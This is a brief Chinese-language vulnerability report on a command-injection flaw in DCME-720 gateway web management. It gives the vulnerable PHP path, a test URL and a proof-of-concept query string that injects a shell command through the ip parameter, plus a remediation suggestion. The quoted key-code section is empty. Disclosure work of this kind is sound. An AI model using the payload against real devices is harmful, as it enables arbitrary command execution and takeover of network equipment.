关键信息 漏洞概述 漏洞名称: DCME-720 影响设备: DCME-720系列出口网关 漏洞类型: 命令注入 描述: 该设备的web管理后台存在命令执行漏洞，攻击者可以利用该漏洞在设备上执行任意代码以及控制设备。 代码审计 文件位置: /usr/local/www/function/audit/newstatistics/ip_block.php 关键代码: 问题: 使用用户可控参数进行命令拼接，导致命令注入漏洞。 验证 测试URL: http://8363-218-19-14-194.ngrok-free.app/function/audit/newstatistics/ip_block.php Payload: ?action=save&switch=1&ip=echo%20123%3E%201.txt 结果: 成功创建并写入1.txt文件，内容为数字123。 修复建议 修改web后端php代码，对相关参数进行控制或过滤。